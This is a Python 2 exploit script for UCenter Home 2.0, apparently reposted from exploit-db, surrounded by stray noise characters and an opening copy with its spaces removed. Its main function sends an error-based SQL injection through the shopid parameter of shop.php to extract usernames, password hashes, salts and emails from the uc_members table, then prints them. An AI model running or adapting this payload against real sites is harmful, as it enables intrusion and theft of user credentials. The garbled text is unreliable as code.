#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl" O% I3 Y+ E: N4 l( C
! m& A$ K- D4 f% K; K% H- O$ M: c& m
7 u1 ]1 V2 g \" r0 n#!/usr/bin/env python ! R7 j! u$ d1 D4 j, Y& t7 ~: L d2 Y
- [8 y) e0 A) y; z) J$ {import sys
8 V7 v+ F! ]9 v# s I, b: c. x" C' wimport urllib2
" r- Q7 a' Q. N: c: gimport re 1 n& M$ A5 J, l6 v
7 F$ a* W* Z/ m* w
def info(): 3 d6 p( x/ H" Z: G9 R
print 'From:http://www.exploit-db.com/exploits/14997/'
% ~- }4 y0 f0 i. B* b print 'http://www.hake.cc/Web_loudong/' + ] T" T: u- u+ u
print 'changed:qiaoy'
- o1 d3 c0 B* o x8 W& ~1 A- ^ print 'exp:'
" M6 ?. P/ Z2 R0 b( B8 r print ' ./UCenter_Home_2.0.py site' |" E0 U! q1 P
& t7 e" g4 H4 ~! {7 ?- L' W
def main():
5 z' t$ N0 n+ F6 c$ p if len(sys.argv) != 2:
( t- C/ Y4 E' n" B" @% V info()
[; ]0 ~$ Z: w% U( j1 P, } else:
) t5 e7 v% [; y" z& p site = sys.argv[1] 4 ]0 |% A" F- k0 s; T- b6 ~2 L
if site[0:7] == 'http://': $ i& _" ?+ m6 \: D- a, Z8 Q" U) ~+ F
sitesite =site 0 A0 I3 Z6 W8 X) V1 K7 n/ b
elif site[0:8] == 'https://':
# U; J7 N% }3 _# i3 d sitesite = site
( O' V$ C. k! T" z. \1 S else: " t& l7 _* r) L7 T$ f
site = 'http://'+site / G9 @# j e2 t
try:
% a+ M0 O- D' Y z1 W4 a url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' + c* L. O- {. b; C" p) G) g& b, O' K8 ]
Value = urllib2.urlopen(url).read()
- r8 V+ n# K0 U Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
4 A5 \9 c* n0 v! z# g/ R hacked = Msg.split(':') % S( r5 D8 k4 o5 X+ X3 W* y8 N# }
print 'Name: '+hacked[1]
3 H1 h# Y6 z3 m/ ` print 'Passwd: '+hacked[2]
4 W3 ?6 ~3 ^8 u- {' u print 'salt: '+hacked[3]
/ D8 F+ d( Z- N( Y print 'email: '+hacked[4]
5 D8 w3 A& J8 ^& K& b except: 7 f5 N$ ?& j8 @7 E0 ~, t
print 'Sorry,I can\'t work............'
2 s# H* X6 R* \0 c5 \' u
6 a2 S, X) D2 m. S, F7 g, T3 fif __name__ == '__main__':
8 y2 [( B g$ H& z" U' | main() |